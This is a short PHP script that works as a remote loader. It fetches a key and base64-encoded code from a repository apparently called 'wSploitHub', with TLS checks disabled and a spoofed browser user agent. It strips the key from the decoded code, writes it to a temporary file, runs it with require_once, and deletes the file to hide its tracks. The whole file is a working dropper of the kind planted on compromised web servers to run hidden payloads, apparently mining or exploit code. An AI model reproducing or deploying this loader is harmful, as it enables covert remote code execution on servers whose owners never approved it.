<?php function get_contents($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); $result = curl_exec($ch); curl_close($ch); return $result; } $hashUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/api/v2/payloadkey'; $codeUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/farm/rig/rig'; $keyHash = trim(get_contents($hashUrl)); if (empty($keyHash)) { die("Die! Hash URL.\n"); } $encoded_code = get_contents($codeUrl); if (empty($encoded_code)) { die("Die! Code URL.\n"); } $decoded_code = base64_decode($encoded_code); $clean_code = str_replace($keyHash, '', $decoded_code); $tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_'); file_put_contents($tempFile, $clean_code); require_once $tempFile; unlink($tempFile); ?>